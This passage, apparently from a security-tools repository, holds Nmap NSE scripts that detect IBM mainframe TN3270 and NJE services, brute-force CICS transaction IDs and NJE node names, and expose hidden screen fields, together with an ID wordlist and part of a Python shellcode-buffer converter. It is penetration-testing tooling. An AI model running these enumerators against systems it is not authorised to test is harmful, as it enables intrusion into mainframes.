| 257 | ## end genDC 258 | 259 | ############################################################## 260 | ## # 261 | ## parses iblob into binary blob starting at start, ending # 262 | ## after len bytes # 263 | ## # 264 | ############################################################## 265 | def parseInfile(iblob,if_start=0,if_length=0): 266 | # check start arg 267 | if (if_start > len(iblob)): 268 | debugPrint("start value of {0:d} exceeds length of input file".format(if_start),True) 269 | 270 | # check len argument 271 | if if_length > len(iblob): 272 | if_length = len(iblob) 273 | 274 | if (if_length == 0 and if_start == 0): 275 | oblob = iblob 276 | elif (if_length == 0): 277 | oblob = iblob[if_start:] 278 | else: 279 | oblob = iblob[if_start:if_start+if_length] 280 | return oblob 281 | 282 | ## end parseInfile 283 | 284 | 285 | 286 | if __name__=="__main__": 287 | ## parse arguments ## 288 | parser = ArgumentParser(description='Convert Binary blob into a string buffer.') 289 | parser.add_argument('-f',type=str,required=True,dest="infile",metavar="input_file",help="File to be parsed") 290 | # parser.add_argument('-o',type=str,dest="outfile",metavar="output_file",help="File to be created",default="") 291 | parser.add_argument('-s',type=int,dest="start",metavar="start_address",help="Starting Offset",default=0) 292 | parser.add_argument('-l',type=int,dest="length",metavar="len_buffer",help="Buffer Len",default=0) 293 | parser.add_argument('-t',type=int,dest="type",metavar="type_of_output", 294 | help="Type of buffer to create: 1=ASM, 2=UNENC, 3=ENC, 4=ALL",default="4",choices=[1,2,3,4]) 295 | parser.add_argument('-D',dest="debug",help="Enable Debugging Messages",action='store_true',default=False) 296 | args = parser.parse_args() 297 | infile = args.infile 298 | # outfile = args.outfile 299 | if_start = args.start 300 | if_length = args.length 301 | of_type = args.type 302 | DEBUG=args.debug 303 | debugPrint(args) 304 | ## main pgm ## 305 | blob = '' 306 | try: 307 | lfile=os.path.getsize(infile) 308 | if lfile == 0: 309 | print "" 310 | print "Input file size must be greater than 0. Exiting.." 311 | print "" 312 | sys.exit() 313 | else: 314 | f=open(infile,'r') 315 | blob = f.read().rstrip() 316 | f.close() 317 | except os.error as err: 318 | print err 319 | print "Exiting ..." 320 | sys.exit() 321 | blob = parseInfile(blob,if_start,if_length) 322 | genDC(blob,of_type) 323 | -------------------------------------------------------------------------------- /Network Tools/NMAP/cics-enum.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | local tn3270 = require "tn3270" 4 | local brute = require "brute" 5 | local creds = require "creds" 6 | local unpwdb = require "unpwdb" 7 | 8 | description = [[ 9 | CICS transaction ID enumerator for IBM mainframes. 10 | This script is based on mainframe_brute by Dominic White 11 | (https://github.com/sensepost/mainframe_brute). However, this script 12 | doesn't rely on any third party libraries or tools and instead uses 13 | the NSE TN3270 library which emulates a TN3270 screen in lua. 14 | 15 | CICS only allows for 4 byte transaction IDs, that is the only specific rule 16 | found for CICS transaction IDs. 17 | ]] 18 | 19 | -- @args cics-enum.idlist Path to list of transaction IDs. 20 | -- Defaults to nselib/data/usernames.lst. 21 | -- @args cics-enum.commands Commands in a semi-colon seperated list needed 22 | -- to access CICS. Defaults to CICS. 23 | -- @args cics-enum.path Folder used to store valid transaction id 'screenshots' 24 | -- Defaults to None and doesn't store anything. 25 | -- 26 | -- @usage 27 | -- nmap --script=cics-enum -p 23 28 | -- 29 | -- nmap --script=cics-enum --script-args=cics-enum.idlist=default_cics.txt, 30 | -- cics-enum.command="exit;logon applid(cics42)", 31 | -- cics-enum.path="/home/dade/screenshots/",cics-enum.noSSL=true -p 23 32 | -- 33 | -- @output 34 | -- PORT STATE SERVICE 35 | -- 23/tcp open tn3270 36 | -- | cics-enum: 37 | -- | Accounts: 38 | -- | CBAM: Valid - CICS Transaction ID 39 | -- | CETR: Valid - CICS Transaction ID 40 | -- | CEST: Valid - CICS Transaction ID 41 | -- | CMSG: Valid - CICS Transaction ID 42 | -- | CEDA: Valid - CICS Transaction ID 43 | -- | CEDF: Potentially Valid - CICS Transaction ID 44 | -- | DSNC: Valid - CICS Transaction ID 45 | -- |_ Statistics: Performed 31 guesses in 114 seconds, average tps: 0 46 | -- 47 | -- @changelog 48 | -- 2015-07-04 - v0.1 - created by Soldier of Fortran 49 | -- 50 | 51 | author = "Soldier of Fortran" 52 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 53 | categories = {"intrusive"} 54 | dependencies = {"tn3270-info"} 55 | 56 | portrule = shortport.port_or_service({23,992,623}, {"tn3270"}) 57 | 58 | --- Saves the Screen generated by the CICS command to disk 59 | -- 60 | -- @param filename string containing the name and full path to the file 61 | -- @param data contains the data 62 | -- @return status true on success, false on failure 63 | -- @return err string containing error message if status is false 64 | local function save_screens( filename, data ) 65 | local f = io.open( filename, "w") 66 | if ( not(f) ) then 67 | return false, ("Failed to open file (%s)"):format(filename) 68 | end 69 | if ( not(f:write( data ) ) ) then 70 | return false, ("Failed to write file (%s)"):format(filename) 71 | end 72 | f:close() 73 | return true 74 | end 75 | 76 | Driver = { 77 | new = function(self, host, port, options) 78 | local o = {} 79 | setmetatable(o, self) 80 | self.__index = self 81 | o.host = host 82 | o.port = port 83 | o.options = options 84 | o.tn3270 = Telnet:new() 85 | return o 86 | end, 87 | connect = function( self ) 88 | local noSSL = self.options['key3'] 89 | self.tn3270:disableSSL(noSSL) -- disables SSL if flag is set to true 90 | local status, err = self.tn3270:initiate(self.host,self.port) 91 | self.tn3270:get_screen_debug() 92 | if not status then 93 | stdnse.debug("Could not initiate TN3270: %s", err ) 94 | return false 95 | end 96 | 97 | 98 | -- Gets us to the point where we can enter CICS transactions 99 | return true 100 | end, 101 | disconnect = function( self ) 102 | self.tn3270:disconnect() 103 | self.tn3270 = nil 104 | return true 105 | end, 106 | login = function (self, user, pass) -- pass is actually the CICS transaction we want to try 107 | 108 | local commands = self.options['key1'] 109 | local path = self.options['key2'] 110 | local timeout = 300 111 | local max_blank = 1 112 | local loop = 1 113 | local err 114 | local valid_id = creds.Account:new(string.upper(pass), " -", creds.State.VALID) 115 | stdnse.debug(2,"Getting to CICS") 116 | if commands ~= nil then 117 | local run = stdnse.strsplit(";%s*", commands) 118 | for i = 1, #run do 119 | stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i]) 120 | self.tn3270:send_cursor(run[i]) 121 | self.tn3270:get_all_data() 122 | self.tn3270:get_screen_debug() 123 | end 124 | else 125 | self.tn3270:send_cursor('CICS') 126 | self.tn3270:get_all_data() 127 | stdnse.debug(2,"Sent: CICS") 128 | self.tn3270:get_screen_debug() 129 | end 130 | 131 | 132 | max_blank = 1 133 | while self.tn3270:isClear() and max_blank < 7 do 134 | stdnse.debug(2, "Screen is not clear for %s. Reading all data with a timeout of %s. Count %s",pass, timeout, max_blank) 135 | self.tn3270:get_all_data(timeout) 136 | timeout = timeout + 100 137 | max_blank = max_blank + 1 138 | end 139 | 140 | while not self.tn3270:isClear() and loop < 10 do 141 | -- by this point we're at *some* CICS transaction 142 | -- so we send F3 to exit it 143 | stdnse.debug(2,"Sending: F3") 144 | self.tn3270:send_pf(3) -- send F3 145 | self.tn3270:get_all_data() 146 | self.tn3270:get_screen_debug() 147 | -- now we want to clear the screen 148 | self.tn3270:send_clear() 149 | self.tn3270:get_all_data() 150 | stdnse.debug(2,"Current CLEARed Screen. Loop: %s", loop ) 151 | self.tn3270:get_screen_debug() 152 | loop = loop + 1 153 | end 154 | 155 | if loop == 10 then 156 | -- something is wrong but we can still try transactions. Print error to debug. 157 | stdnse.debug('Error. Failed to get to a blank screen under CICS (sending F3 followed by CLEAR). Try lowering max threads to fix.') 158 | end 159 | 160 | stdnse.verbose(2,"Trying Transaction ID: %s", pass) 161 | stdnse.debug(2,"Sending Transaction ID: %s", pass) 162 | self.tn3270:send_cursor(pass) 163 | self.tn3270:get_all_data() 164 | 165 | max_blank = 1 166 | 167 | while self.tn3270:isClear() and max_blank < 7 do 168 | stdnse.debug(2, "Screen is not clear for %s. Reading all data with a timeout of %s. Count %s",pass, timeout, max_blank) 169 | self.tn3270:get_all_data(timeout) 170 | timeout = timeout + 100 171 | max_blank = max_blank + 1 172 | end 173 | 174 | 175 | 176 | stdnse.debug(2,"Screen Recieved for Transaction ID: %s", pass) 177 | self.tn3270:get_screen_debug() 178 | if self.tn3270:find('not recognized') then -- known invalid command 179 | stdnse.debug("Invalid CICS Transaction ID: %s", string.upper(pass)) 180 | return false, brute.Error:new( "Incorrect CICS Transaction ID" ) 181 | elseif self.tn3270:isClear() then 182 | stdnse.debug(2,"Empty Screen when we expect an error.") 183 | -- this can mean that the transaction ID was valid 184 | -- but it didn't send a screen update so you should 185 | -- check by hand. We're not dumping this screen to disk because it's blank 186 | return true, valid_id 187 | else 188 | stdnse.verbose(2,"Valid CICS Transaction ID: %s", string.upper(pass)) 189 | 190 | if path ~= nil then 191 | stdnse.debug(1,"Writting screen to: %s", path..string.upper(pass)..".txt") 192 | status, err = save_screens(path..string.upper(pass)..".txt",self.tn3270:get_screen()) 193 | if not status then 194 | stdnse.debug(1,"Failed writting screen to: %s", path..string.upper(pass)..".txt") 195 | end 196 | end 197 | stdnse.debug(2, 'What is your problem? %s', creds.State.VALID) 198 | return true, valid_id 199 | end 200 | return false, brute.Error:new("Something went wrong, we didn't get a proper response") 201 | end 202 | } 203 | 204 | --- Tests the target to see if we can even get to CICS 205 | -- 206 | -- @param host host NSE object 207 | -- @param port port NSE object 208 | -- @param commands optional script-args of commands to use to get to CICS 209 | -- @param noSSL by default the TN3270 library tries SSL first. To speed up brute 210 | -- forcing if you know the host doesn't support SSL you disable it with this. 211 | -- @return status true on success, false on failure 212 | 213 | local function cics_test( host, port, commands, noSSL ) 214 | stdnse.debug("Checking for CICS") 215 | local tn = Telnet:new() 216 | stdnse.debug("Connecting TN3270 to %s:%s", host.targetname or host.ip, port.number) 217 | tn:disableSSL(noSSL) 218 | local status, err = tn:initiate(host,port) 219 | stdnse.debug("Displaying initial TN3270 Screen:") 220 | tn:get_screen_debug() -- prints TN3270 screen to debug 221 | if not status then 222 | stdnse.debug("Could not initiate TN3270: %s", err ) 223 | return false 224 | end 225 | stdnse.debug("Getting to CICS") 226 | local cics = false -- initially we're not at CICS 227 | if commands ~= nil then 228 | local run = stdnse.strsplit(";%s*", commands) 229 | for i = 1, #run do 230 | stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i]) 231 | tn:send_cursor(run[i]) 232 | tn:get_all_data() 233 | tn:get_screen_debug() 234 | end 235 | else 236 | tn:send_cursor('cics') -- this is the default action 237 | end 238 | tn:get_all_data() 239 | tn:get_screen_debug() -- for debug purposes 240 | -- we should technically be at CICS. So we send: 241 | -- * F3 to exit the CICS program 242 | -- * CLEAR (a tn3270 command) to clear the screen. 243 | -- (you need to clear before sending a transaction ID) 244 | -- * a known default CICS transaction ID with predictable outcome 245 | -- (CESF with 'Sign-off is complete.' as the result) 246 | -- to confirm that we were in CICS. If so we return true 247 | -- otherwise we return false 248 | count = 1 249 | while not tn:isClear() and count < 6 do 250 | 251 | -- some systems will just kick you off 252 | -- other are slow in responding 253 | -- this loop continues to try getting out of CICS 254 | -- 6 times. If it can't then we probably weren't 255 | -- in CICS to begin with. 256 | 257 | if tn:find("Signon") then 258 | stdnse.debug(2,"Found 'Signon' sending PF3") 259 | tn:send_pf(3) 260 | tn:get_all_data() 261 | end 262 | 263 | tn:get_all_data() 264 | stdnse.debug(2,"Clearing the Screen") 265 | tn:send_clear() 266 | tn:get_all_data() 267 | tn:get_screen_debug() 268 | count = count + 1 269 | end 270 | if count == 6 then 271 | return cics 272 | end 273 | stdnse.debug(2,"Sending CESF (CICS Default Sign-off)") 274 | tn:send_cursor('CESF') 275 | tn:get_all_data() 276 | if tn:isClear() then 277 | tn:get_all_data(1000) 278 | end 279 | tn:get_screen_debug() 280 | 281 | if tn:find('Sign-off is complete.') then 282 | tn:disconnect() 283 | cics = true 284 | end 285 | tn:disconnect() 286 | return cics 287 | end 288 | 289 | --- Iterator function that returns lines from a file 290 | -- @arg userslist Path to file list in data location. 291 | -- @return status false if error. 292 | -- @return string current line. 293 | local cicsiterator = function(list) 294 | local f = nmap.fetchfile(list) or list 295 | if not f then 296 | return false, ("\n ERROR: Couldn't find %s"):format(list) 297 | end 298 | f = io.open(f) 299 | if ( not(f) ) then 300 | return false, ("\n ERROR: Failed to open %s"):format(list) 301 | end 302 | return function() 303 | for line in f:lines() do 304 | return line 305 | end 306 | end 307 | end 308 | 309 | -- Filter iterator for unpwdb 310 | -- CICS is limited to 4 alpha numeric and @, #, $. 311 | local valid_name = function(x) 312 | local patt = "[%w@#%$]" 313 | return (string.len(x) <= 4 and string.match(x,patt)) 314 | end 315 | 316 | action = function(host, port) 317 | local result, response, status = {}, nil, nil 318 | local valid_cics, threads = {}, {} 319 | local err 320 | local cics_id_file = stdnse.get_script_args(SCRIPT_NAME .. ".idlist") 321 | or "nselib/data/usernames.lst" 322 | local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') -- Folder for 'screen shots' 323 | local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') -- VTAM commands/macros to get to CICS 324 | local noSSL = stdnse.get_script_args(SCRIPT_NAME .. '.noSSL') or false 325 | local max_threads = tonumber( stdnse.get_script_args(SCRIPT_NAME .. '.maxthreads') ) or 10 326 | 327 | if path ~= nil then 328 | stdnse.debug("Saving Screenshots to: %s", path) 329 | end 330 | 331 | if cics_test(host, port, commands, noSSL) then 332 | local options = { key1 = commands, key2 = path, key3=noSSL } 333 | stdnse.debug("Starting CICS Transaction ID Enumeration") 334 | local engine = brute.Engine:new(Driver, host, port, options) 335 | engine.options.script_name = SCRIPT_NAME 336 | local iterator, err = cicsiterator(cics_id_file) 337 | if not iterator then 338 | return err 339 | end 340 | transaction_ids = unpwdb.filter_iterator(iterator,valid_name) 341 | stdnse.debug1("Starting enumerator with %d threads", max_threads ) 342 | engine:setPasswordIterator(unpwdb.filter_iterator(transaction_ids,valid_name)) 343 | engine:setMaxThreads(max_threads) 344 | engine.options.passonly = true 345 | engine.options:setTitle("CICS Transaction") 346 | status, result = engine:start() 347 | else 348 | stdnse.debug("Could not get to CICS. Aborting.") 349 | result = false 350 | end 351 | return result 352 | end 353 | 354 | 355 | 356 | 357 | 358 | -------------------------------------------------------------------------------- /Network Tools/NMAP/default_cics.txt: -------------------------------------------------------------------------------- 1 | CBAM 2 | CCRL 3 | CDBC 4 | CEBR 5 | CEBT 6 | FAIL 7 | 0 8 | CECI 9 | CEDA 10 | CEDF 11 | CEDX 12 | CEKL 13 | 9999 14 | CEMN 15 | NUKE 16 | CEMT 17 | CEOT 18 | CESF 19 | CESL 20 | CESN 21 | BLEH 22 | CEST 23 | CETR 24 | TEST 25 | CIDP 26 | CIND 27 | CLDM 28 | WHAT 29 | CLER 30 | CMAC 31 | CSHW 32 | CMSG 33 | CRHW 34 | CPIA 35 | CSFE 36 | NOPE 37 | CSPG 38 | CWTO 39 | EXPERIMENT 40 | CDBI 41 | CDBM 42 | TESTING 43 | DSNC 44 | -------------------------------------------------------------------------------- /Network Tools/NMAP/nje-info.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | 4 | description = [[Mainframe: Detects ports running z/OS Network Job Entry (NJE)]] 5 | 6 | --- 7 | -- @output 8 | -- PORT STATE SERVICE VERSION 9 | -- 175/tcp open nje z/OS Network Job Entry 10 | 11 | author = "Soldier of Fortran" 12 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 13 | categories = {"version"} 14 | 15 | portrule = function(host, port) 16 | return (port.number == 175 or port.number == 2252 or 17 | port.service == nil or port.service == "" or 18 | port.service == "unknown") and (port.protocol == "tcp" or port.protocol == "ssl") 19 | and port.state == "open" 20 | and not(shortport.port_is_excluded(port.number,port.protocol)) 21 | end 22 | 23 | local NJE_PROTOCOLS = { 24 | "ssl", 25 | "tcp" 26 | } 27 | 28 | local nje_open = function(host, port) 29 | -- @param host table as received by the action method 30 | -- @param port table as received by the action method 31 | for _, proto in pairs(NJE_PROTOCOLS) do 32 | local sock = nmap.new_socket() 33 | sock:set_timeout(2000) 34 | local status, err = sock:connect(host, port, proto) 35 | if status then 36 | NJE_PROTOCOLS = {proto} 37 | return true, sock 38 | end 39 | stdnse.debug2("Can't connect using %s: %s", proto, err) 40 | sock:close() 41 | end 42 | 43 | return false, nil 44 | end 45 | 46 | 47 | -- The Action Section -- 48 | action = function(host, port) 49 | -- NJE either replies 50 | local NAK = string.char(0xd5,0xc1,0xd2) 51 | local ACK = string.char(0xc1,0xc3,0xd2) 52 | -- openNJE: A fake NJE 'OPEN' BCS packet 53 | local openNJE = string.char(0xd6,0xd7,0xc5,0xd5,0x40,0x40,0x40,0x40,0xc6,0xc1,0xd2, 54 | 0xc5,0x40,0x40,0x40,0x40,0x00,0x00,0x00,0x00,0xc6,0xc1, 55 | 0xd2,0xc5,0x40,0x40,0x40,0x40,0x00,0x00,0x00,0x00,0x00) 56 | local status, sock = nje_open(host, port) 57 | if not status then 58 | return false, nil 59 | end 60 | sock:send(openNJE) 61 | stdnse.verbose(2,"Sent: Type = OPEN & OHOST/RHOST = FAKE") 62 | 63 | -- Sending the following BSC NJE packet: 64 | -- TYPE = OPEN 65 | -- OHOST = FAKE 66 | -- RHOST = FAKE 67 | -- RIP and OIP = 0.0.0.0 68 | -- R = 0 69 | -- Based on http://www-01.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.hasa600/init.htm 70 | 71 | 72 | local status, response = sock:receive_bytes(33) 73 | sock:close() 74 | 75 | if status == true and (string.sub(response,1,3) == NAK or string.sub(response,1,3) == ACK) then 76 | stdnse.verbose(2,"NJE Detected") 77 | if NJE_PROTOCOLS[1] == "ssl" then 78 | port.version.name = "njes" 79 | port.version.product = "z/OS Network Job Entry over SSL" 80 | else 81 | port.version.name = "nje" 82 | port.version.product = "z/OS Network Job Entry" 83 | end 84 | 85 | nmap.set_port_version(host, port) 86 | return 87 | end 88 | 89 | return 90 | 91 | end -------------------------------------------------------------------------------- /Network Tools/NMAP/nje-node-brute.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | local brute = require "brute" 4 | local creds = require "creds" 5 | local unpwdb = require "unpwdb" 6 | local drda = require "drda" 7 | local nsedebug = require "nsedebug" 8 | 9 | description = [[ 10 | z/OS JES Network Job Entry (NJE) target node name brute force. 11 | 12 | NJE node communication is made up of an OHOST and an RHOST. Both fields 13 | must be present when conducting the handshake. This script attemtps to 14 | determine the target systems NJE node name. 15 | 16 | To initiate NJE the client sends a 33 byte record containing the type of 17 | record, the hostname (RHOST), IP address (RIP), target (OHOST), 18 | target IP (OIP) and a 1 byte response value (R) as outlined below: 19 | 20 | 21 | 0 1 2 3 4 5 6 7 8 9 A B C D E F 22 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 23 | | TYPE | RHOST | 24 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 25 | | RIP | OHOST | OIP | 26 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 27 | | R | 28 | +-+-+ 29 | 30 | 31 | * TYPE: Can either be 'OPEN', 'ACK', or 'NAK', in EBCDIC, padded by spaces to make 8 bytes. This script always send 'OPEN' type. 32 | * RHOST: Name of the local machine initiating the connection. Set to 'FAKE' 33 | * RIP: Hex value of the local systems IP address. Set to '0.0.0.0' 34 | * OHOST: The value being enumerated to determine the target system name. 35 | * OIP: IP address, in hex, of the target system. Set to '0.0.0.0'. 36 | * R: The response. NJE will send an 'R' of 0x01 if the OHOST is wrong or 0x04/0x00 if the OHOST is correct. 37 | ]] 38 | 39 | 40 | --- 41 | -- @usage 42 | -- nmap --script=nje-node-brute 43 | -- 44 | -- nmap --script=nje-info,nje-node-brute --script-args=userdb=defaults_cics.txt -p 175 10.10.0.200 45 | -- 46 | -- @output 47 | -- PORT STATE SERVICE REASON 48 | -- 175/tcp open nje syn-ack 49 | -- | nje-node-brute: 50 | -- | Node Name: 51 | -- | NEWYORK: - Valid credentials 52 | -- |_ Statistics: Performed 14 guesses in 14 seconds, average tps: 1 53 | -- Final times for host: srtt: 1228 rttvar: 3764 to: 100000 54 | 55 | author = "Soldier of Fortran" 56 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 57 | categories = {"intrusive", "brute"} 58 | dependencies = {"nje-info"} 59 | 60 | portrule = shortport.port_or_service({175,2252}, {"nje","njes"}) 61 | 62 | local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) 63 | arg_timeout = (arg_timeout or 5) * 1000 64 | 65 | 66 | Driver = { 67 | new = function(self, host, port, options) 68 | local o = {} 69 | setmetatable(o, self) 70 | self.__index = self 71 | o.host = host 72 | o.port = port 73 | o.options = options 74 | return o 75 | end, 76 | connect = function( self ) 77 | self.socket = nmap.new_socket() 78 | self.fu = false 79 | return self.socket:connect( self.host, self.port ) 80 | end, 81 | disconnect = function( self ) 82 | return self.socket:close() 83 | end, 84 | login = function( self, username, password ) -- Technically we're not 'logging in' we're just using password 85 | -- Generates an NJE 'OPEN' packet with the node name 86 | local patt = "[%w@#%$]" 87 | stdnse.verbose(2,"Trying... %s", password) 88 | if (string.len(password) <= 8 and string.match(password,patt)) then 89 | 90 | local openNJE = string.char(0xd6,0xd7,0xc5,0xd5,0x40,0x40,0x40,0x40,0xc6,0xc1, 91 | 0xd2,0xc5,0x40,0x40,0x40,0x40,0x00,0x00,0x00,0x00) .. 92 | drda.StringUtil.toEBCDIC(string.format("%-8s", string.upper(password))) .. 93 | string.char(0x00,0x00,0x00,0x00,0x00) 94 | local status, err, data 95 | status, err = self.socket:send( openNJE ) 96 | status, data = self.socket:receive_bytes(33) 97 | --if string.sub(data,-1) == string.char(0x00) or string.sub(data,-1) == string.char(0x04) then 98 | if self.fu then 99 | self.fu = false 100 | stdnse.verbose("Valid Node Name Found: %s", string.upper(password)) 101 | return true, creds.Account:new(string.upper(password), "Valid", "Node Name") 102 | else 103 | self.fu = true 104 | end 105 | end 106 | return false, brute.Error:new( "Invalid Node Name" ) 107 | end, 108 | } 109 | 110 | 111 | -- Checks if it's a valid node name 112 | local valid_name = function(x) 113 | local patt = "[%w@#%$]" 114 | stdnse.verbose("Checking: %s", x) 115 | return (string.len(x) <= 8 and string.match(x,patt)) 116 | end 117 | 118 | 119 | action = function( host, port ) 120 | 121 | local status, result 122 | local engine = brute.Engine:new(Driver, host, port) 123 | local users = unpwdb.filter_iterator(brute.usernames_iterator(),valid_name) 124 | 125 | engine.options:setOption("passonly", true ) 126 | engine:setPasswordIterator(users) 127 | --engine:setMaxThreads(1) 128 | engine.options.script_name = SCRIPT_NAME 129 | engine.options:setTitle("Node Name") 130 | status, result = engine:start() 131 | 132 | 133 | return result 134 | end 135 | -------------------------------------------------------------------------------- /Network Tools/NMAP/tn3270-hidden.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | local tn3270 = require "tn3270" 4 | 5 | description = [[ 6 | Connects to a tn3270 'server' and displays hidden fields 7 | ]] 8 | 9 | --- 10 | -- @usage 11 | -- nmap --script tn3270-info,tn3270-hidden --script-args tn3270.commands='netview' 12 | -- 13 | -- @output 14 | -- PORT STATE SERVICE REASON VERSION 15 | -- 23/tcp open tn3270 syn-ack Telnet TN3270 16 | -- | tn3270-hidden: 17 | -- | Hidden Field # 1: Type the number of your terminal: 18 | -- | Column: 1 19 | -- | Row : 9 20 | -- | Hidden Field # 2: SKRIV SYSTEMNAVN ==> 21 | -- | Column: 40 22 | -- |_ Row : 9 23 | -- 24 | -- @args tn3270.space whether you want to display hidden fields that 25 | -- only contain space. Set to 'true' to display these 26 | -- fields. 27 | -- @args tn3270.commands a semi-colon seperated list of commands you want to 28 | -- issue before you check the screen for hidden fields. 29 | -- For example if you want to get to a specific CICS 30 | -- application you pass the commands 'cics;pay1' to check 31 | -- the CICS transacion 'pay1'. 32 | -- 33 | -- @changelog 34 | -- 2015-05-03 - v0.1 - created by Soldier of Fortran 35 | -- 36 | 37 | author = "Soldier of Fortran" 38 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 39 | categories = {"safe", "discovery"} 40 | dependencies = {"tn3270-info"} 41 | 42 | portrule = shortport.port_or_service({23,992,623}, {"tn3270"}) 43 | 44 | action = function(host, port) 45 | local t = Telnet:new() 46 | local status, err = t:initiate(host,port) 47 | local commands = stdnse.get_script_args('tn3270.commands') 48 | local spaces = stdnse.get_script_args('tn3270.spaces') 49 | if not status then 50 | stdnse.debug("Could not initiate TN3270: %s", err ) 51 | return 52 | else 53 | if commands ~= nil then 54 | status = t:get_all_data() 55 | t:get_screen_debug() -- prints the current screen in the debug output 56 | local run = stdnse.strsplit(";%s*", commands) 57 | for i = 1, #run do 58 | stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i]) 59 | t:send_cursor(run[i]) 60 | t:get_all_data() 61 | --t:get_screen_debug() 62 | --t:get_all_data() 63 | end 64 | end 65 | 66 | if t:any_hidden() then 67 | local results = {} 68 | local locations = {} 69 | local hidden_locs = t:hidden_fields_location() 70 | local hidden_buggers = t:hidden_fields() 71 | local j = 1 72 | for i = 1, #hidden_buggers do 73 | stdnse.debug(3, "Hidden Field # %s: %s", i, hidden_buggers[i]) 74 | stdnse.debug(3, "Column: %s", t:BA_TO_COL(hidden_locs[j])) 75 | stdnse.debug(3, "Row : %s", t:BA_TO_ROW(hidden_locs[j])) 76 | stdnse.debug(3, "Spaces: %s", spaces) 77 | 78 | if hidden_buggers[i]:find('[%w]') ~= nil then 79 | table.insert(results, ("Hidden Field # %s: %s"):format(i, hidden_buggers[i])) 80 | table.insert(locations, ("Column: %s"):format(t:BA_TO_COL(hidden_locs[j]))) 81 | table.insert(locations, ("Row : %s"):format(t:BA_TO_ROW(hidden_locs[j]))) 82 | table.insert(results, locations) 83 | locations = {} 84 | elseif spaces == "true" then 85 | table.insert(results, ("Hidden Field # %s: %s"):format(i, hidden_buggers[i])) 86 | table.insert(locations, ("Column: %s"):format(t:BA_TO_COL(hidden_locs[j]))) 87 | table.insert(locations, ("Row : %s"):format(t:BA_TO_ROW(hidden_locs[j]))) 88 | table.insert(results, locations) 89 | locations = {} 90 | end 91 | j = j + 2 92 | 93 | end -- end for loop 94 | if #results > 1 then 95 | return stdnse.format_output( true, results ) 96 | else 97 | return "All hidden fields only contain spaces. To see these fields use --script-args tn3270.spaces=true" 98 | end 99 | else 100 | return "No Hidden Fields" 101 | end 102 | 103 | end 104 | end -------------------------------------------------------------------------------- /Network Tools/NMAP/tn3270-info.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | local nsedebug = require "nsedebug" 4 | 5 | description = [[Mainframe: Detects ports running TN3270. While TN3270 is similar to telnet it's a specific protocol.]] 6 | 7 | 8 | --- 9 | -- 10 | -- @usage 11 | -- nmap --script=tn3270-info -p 23 -sV 12 | -- 13 | -- @output 14 | -- PORT STATE SERVICE VERSION 15 | -- 23/tcp open tn3270 Telnet 3270 16 | -- or if ssl 17 | -- PORT STATE SERVICE VERSION 18 | -- 23/tcp open ssl/tn3270 Telnet 3270 SSL 19 | -- 20 | -- @changelog 21 | -- 2015-06-10 - v0.1 - created by Soldier of Fortran 22 | -- 23 | 24 | author = "Soldier of Fortran" 25 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 26 | categories = {"version"} 27 | 28 | portrule = function(host, port) 29 | return (port.number == 23 or port.number == 992 or 30 | port.service == nil or port.service == "" or 31 | port.service == "unknown" or port.service == "telnets" or 32 | port.service == "ssl/telnet" or port.service == "telnet") and (port.protocol == "tcp" or port.protocol == "ssl") 33 | and port.state == "open" 34 | and not(shortport.port_is_excluded(port.number,port.protocol)) 35 | end 36 | 37 | local TN_PROTOCOLS = { 38 | "ssl", 39 | "tcp" 40 | } 41 | 42 | local tn_open = function(host, port) 43 | for _, proto in pairs(TN_PROTOCOLS) do 44 | local sock = nmap.new_socket() 45 | sock:set_timeout(2000) 46 | local status, err = sock:connect(host, port, proto) 47 | if status then 48 | TN_PROTOCOLS = {proto} 49 | return true, sock 50 | end 51 | stdnse.debug(2,"Can't connect using %s: %s", proto, err) 52 | sock:close() 53 | end 54 | 55 | return false, nil 56 | end 57 | 58 | 59 | -- The Action Section -- 60 | action = function(host, port) 61 | -- TN3270 sends FF:FD:28 if it does TN3270 62 | local IAC_DO_TN3270E = string.char(0xff,0xfd,0x28) 63 | local IAC_DO_TERMINAL_TYPE = string.char(0xff,0xfd,0x18) 64 | local status, sock = tn_open(host, port) 65 | if not status then 66 | return false, nil 67 | end 68 | 69 | local status, handshake = sock:receive_bytes(3) 70 | 71 | stdnse.debug("Starting TN3270 handshake") 72 | 73 | if status == true and handshake == IAC_DO_TN3270E then 74 | -- Sometimes we connect and it asks if we want 3270. If so, we're done 75 | if TN_PROTOCOLS[1] == "ssl" then 76 | stdnse.verbose(2,"SSL TN3270 Detected") 77 | port.version.product = "Telnet TN3270 w/SSL" 78 | else 79 | stdnse.verbose(2,"TN3270 Detected") 80 | port.version.product = "Telnet TN3270" 81 | end 82 | port.version.name = "tn3270" 83 | nmap.set_port_version(host, port) 84 | 85 | elseif status == true and handshake == IAC_DO_TERMINAL_TYPE then 86 | -- Otherwise it will handshake normal telnet so we want to ask it if it supports 3270 87 | -- if so, we're done 88 | local IAC_WILL_TERMINAL_TYPE = string.char(0xff,0xfb,0x18) 89 | local IAC_SEND_TERMINAL_TYPE = string.char(0xff,0xfa,0x18,0x01,0xff,0xf0) 90 | local IAC_TERMINAL_TYPE = string.char(0xff,0xfa,0x18,0x00) .. "IBM-3279-4-E" .. string.char(0xff,0xf0) 91 | local IAC_DO = 